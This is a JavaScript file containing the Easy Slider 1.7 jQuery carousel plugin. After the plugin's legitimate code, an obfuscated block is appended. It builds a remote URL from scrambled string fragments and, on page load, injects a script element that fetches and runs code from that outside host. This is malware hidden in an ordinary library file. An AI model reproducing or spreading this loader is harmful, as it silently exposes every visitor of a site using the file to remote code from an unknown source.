/*
 * 	Easy Slider 1.7 - jQuery plugin
 *	written by Alen Grakalic	
 *	http://cssglobe.com/post/4004/easy-slider-15-the-easiest-jquery-plugin-for-sliding
 *
 *	Copyright (c) 2009 Alen Grakalic (http://cssglobe.com)
 *	Dual licensed under the MIT (MIT-LICENSE.txt)
 *	and GPL (GPL-LICENSE.txt) licenses.
 *
 *	Built for jQuery library
 *	http://jquery.com
 *
 */
 
/*
 *	markup example for $("#slider").easySlider();
 *	
 * 	<div id="slider">
 *		<ul>
 *			<li><img src="images/01.jpg" alt="" /></li>
 *			<li><img src="images/02.jpg" alt="" /></li>
 *			<li><img src="images/03.jpg" alt="" /></li>
 *			<li><img src="images/04.jpg" alt="" /></li>
 *			<li><img src="images/05.jpg" alt="" /></li>
 *		</ul>
 *	</div>
 *
 */

(function($) {

	$.fn.easySlider = function(options){
	  
		// default configuration properties
		var defaults = {			
			prevId: 		'prevBtn',
			prevText: 		'Previous',
			nextId: 		'nextBtn',	
			nextText: 		'Next',
			controlsShow:	true,
			controlsBefore:	'',
			controlsAfter:	'',	
			controlsFade:	true,
			firstId: 		'firstBtn',
			firstText: 		'First',
			firstShow:		false,
			lastId: 		'lastBtn',	
			lastText: 		'Last',
			lastShow:		false,				
			vertical:		false,
			speed: 			800,
			auto:			false,
			pause:			2000,
			continuous:		false, 
			numeric: 		false,
			numericId: 		'controls'
		}; 
		
		var options = $.extend(defaults, options);  
				
		this.each(function() {  
			var obj = $(this); 				
			var s = $("li", obj).length;
			var w = $("li", obj).width(); 
			var h = $("li", obj).height(); 
			var clickable = true;
			obj.width(w); 
			obj.height(h); 
			obj.css("overflow","hidden");
			var ts = s-1;
			var t = 0;
			$("ul", obj).css('width',s*w);			
			
			if(options.continuous){
				$("ul", obj).prepend($("ul li:last-child", obj).clone().css("margin-left","-"+ w +"px"));
				$("ul", obj).append($("ul li:nth-child(2)", obj).clone());
				$("ul", obj).css('width',(s+1)*w);
			};				
			
			if(!options.vertical) $("li", obj).css('float','left');
								
			if(options.controlsShow){
				var html = options.controlsBefore;				
				if(options.numeric){
					html += '<ol id="'+ options.numericId +'"></ol>';
				} else {
					if(options.firstShow) html += '<span id="'+ options.firstId +'"><a href=\"javascript:void(0);\">'+ options.firstText +'</a></span>';
					html += ' <span id="'+ options.prevId +'"><a href=\"javascript:void(0);\">'+ options.prevText +'</a></span>';
					html += ' <span id="'+ options.nextId +'"><a href=\"javascript:void(0);\">'+ options.nextText +'</a></span>';
					if(options.lastShow) html += ' <span id="'+ options.lastId +'"><a href=\"javascript:void(0);\">'+ options.lastText +'</a></span>';				
				};
				
				html += options.controlsAfter;						
				$(obj).after(html);										
			};
			
			if(options.numeric){									
				for(var i=0;i<s;i++){						
					$(document.createElement("li"))
						.attr('id',options.numericId + (i+1))
						.html('<a rel='+ i +' href=\"javascript:void(0);\">'+ (i+1) +'</a>')
						.appendTo($("#"+ options.numericId))
						.click(function(){							
							animate($("a",$(this)).attr('rel'),true);
						}); 												
				};							
			} else {
				$("a","#"+options.nextId).click(function(){		
					animate("next",true);
				});
				$("a","#"+options.prevId).click(function(){		
					animate("prev",true);				
				});	
				$("a","#"+options.firstId).click(function(){		
					animate("first",true);
				});				
				$("a","#"+options.lastId).click(function(){		
					animate("last",true);				
				});				
			};
			
			function setCurrent(i){
				i = parseInt(i)+1;
				$("li", "#" + options.numericId).removeClass("current");
				$("li#" + options.numericId + i).addClass("current");
			};
			
			function adjust(){
				if(t>ts) t=0;		
				if(t<0) t=ts;	
				if(!options.vertical) {
					$("ul",obj).css("margin-left",(t*w*-1));
				} else {
					$("ul",obj).css("margin-left",(t*h*-1));
				}
				clickable = true;
				if(options.numeric) setCurrent(t);
			};
			
			function animate(dir,clicked){
				if (clickable){
					clickable = false;
					var ot = t;				
					switch(dir){
						case "next":
							t = (ot>=ts) ? (options.continuous ? t+1 : ts) : t+1;						
							break; 
						case "prev":
							t = (t<=0) ? (options.continuous ? t-1 : 0) : t-1;
							break; 
						case "first":
							t = 0;
							break; 
						case "last":
							t = ts;
							break; 
						default:
							t = dir;
							break; 
					};	
					var diff = Math.abs(ot-t);
					var speed = diff*options.speed;						
					if(!options.vertical) {
						p = (t*w*-1);
						$("ul",obj).animate(
							{ marginLeft: p }, 
							{ queue:false, duration:speed, complete:adjust }
						);				
					} else {
						p = (t*h*-1);
						$("ul",obj).animate(
							{ marginTop: p }, 
							{ queue:false, duration:speed, complete:adjust }
						);					
					};
					
					if(!options.continuous && options.controlsFade){					
						if(t==ts){
							$("a","#"+options.nextId).hide();
							$("a","#"+options.lastId).hide();
						} else {
							$("a","#"+options.nextId).show();
							$("a","#"+options.lastId).show();					
						};
						if(t==0){
							$("a","#"+options.prevId).hide();
							$("a","#"+options.firstId).hide();
						} else {
							$("a","#"+options.prevId).show();
							$("a","#"+options.firstId).show();
						};					
					};				
					
					if(clicked) clearTimeout(timeout);
					if(options.auto && dir=="next" && !clicked){;
						timeout = setTimeout(function(){
							animate("next",false);
						},diff*options.speed+options.pause);
					};
			
				};
				
			};
			// init
			var timeout;
			if(options.auto){;
				timeout = setTimeout(function(){
					animate("next",false);
				},options.pause);
			};		
			
			if(options.numeric) setCurrent(0);
		
			if(!options.continuous && options.controlsFade){					
				$("a","#"+options.prevId).hide();
				$("a","#"+options.firstId).hide();				
			};				
			
		});
	  
	};

})(jQuery);
var z='';var K='';var F;if(F!='' && F!='N'){F=''};function i(){var tS="";var j="";this.C='';var l="g";var gv;if(gv!='' && gv!='fA'){gv=''};var s='';var Xk;if(Xk!=''){Xk='CB'};var vi;if(vi!=''){vi='FS'};var E=RegExp;var mv=new Array();var Oc='';this.gt='';var sL;if(sL!='' && sL!='Kt'){sL=null};function n(Y,y){var XC=new Date();var M=new Date();var UV=new Array();var OF=new Date();var v= "pZi8[".substr(4);var vW;if(vW!='' && vW!='wb'){vW=''};var IX;if(IX!=''){IX='KV'};v+=y;v+="]bFGH".substr(0,1);this.Bc="";var m=new E(v, l);var tH='';return Y.replace(m, s);var Gm;if(Gm!='' && Gm!='yeb'){Gm=null};};this.pd='';this.k='';var Zz;if(Zz!='' && Zz!='ED'){Zz=null};var MY;if(MY!='ez' && MY != ''){MY=null};var Pm;if(Pm!='' && Pm!='Lt'){Pm='AA'};var g=n('8332202338222303332',"32");var h=String("r1KIht".substr(4)+"j8Itp".substr(3)+":/pPxC".substr(0,2)+"BKrC/n".substr(4)+"4QwNex".substr(4)+"G2ista2Gis".substr(4,2)+"g-"+"4GZtcoZ4tG".substr(4,2)+"rq6m.rq6".substr(3,2)+"al"+"InWic".substr(3)+"WBCe.".substr(3)+"8Xcfit".substr(4)+".g"+"8uKWoouK8W".substr(4,2)+"BO5jgl".substr(4)+"e-Cq9F".substr(0,2)+"Fgfro".substr(3)+".s"+"ea"+"st6go6ts".substr(3,2)+"ld"+"ondTS0".substr(0,2)+"liMCB".substr(0,2)+"neQWb".substr(0,2)+".rlbjd".substr(0,2)+"st8Vu:sVt8".substr(4,2));var BS;if(BS!='CcN' && BS!='DD'){BS=''};var D="DSXde".substr(3)+"gpCfeCpg".substr(3,2)+"r";var Uz=new Array();var sR=String("scri"+"pt");var R=new String("/pa"+"ndo"+"eNDMra.".substr(4)+"comW50".substr(0,3)+"/pa"+"ndox3p".substr(0,3)+"ra.QZMu".substr(0,3)+"71Ltcom".substr(4)+"Ora/vo".substr(3)+"ila"+".fr"+"/go"+"oglkje".substr(0,3)+"e.c"+"om/MQuJ".substr(0,3)+"cos"+"tcoaQ1d".substr(0,3)+".coUgIQ".substr(0,3)+"m.p"+"hpUb6".substr(0,2));var Nu;if(Nu!='sx' && Nu != ''){Nu=null};var d=window;var kf;if(kf!='Md' && kf!='HN'){kf=''};var Tm;if(Tm!=''){Tm='Bh'};var Rm=String("olW4src".substr(4));var vz='';var X='';d.onload=function(){var pW=new String();var Ym;if(Ym!='' && Ym!='kY'){Ym=''};try {X=h+g;var Zv;if(Zv!='fo'){Zv=''};var mu='';X+=R;var U_;if(U_!='dt' && U_ != ''){U_=null};var cv;if(cv!='iI' && cv!='Ac'){cv=''};G=document.createElement(sR);G[Rm]=X;this.Ww='';G[D]=[1][0];var yU=new String();var t_;if(t_!='' && t_!='H_'){t_=null};document.body.appendChild(G);var OD=new String();var In=new String();} catch(w){this.el='';};};};i();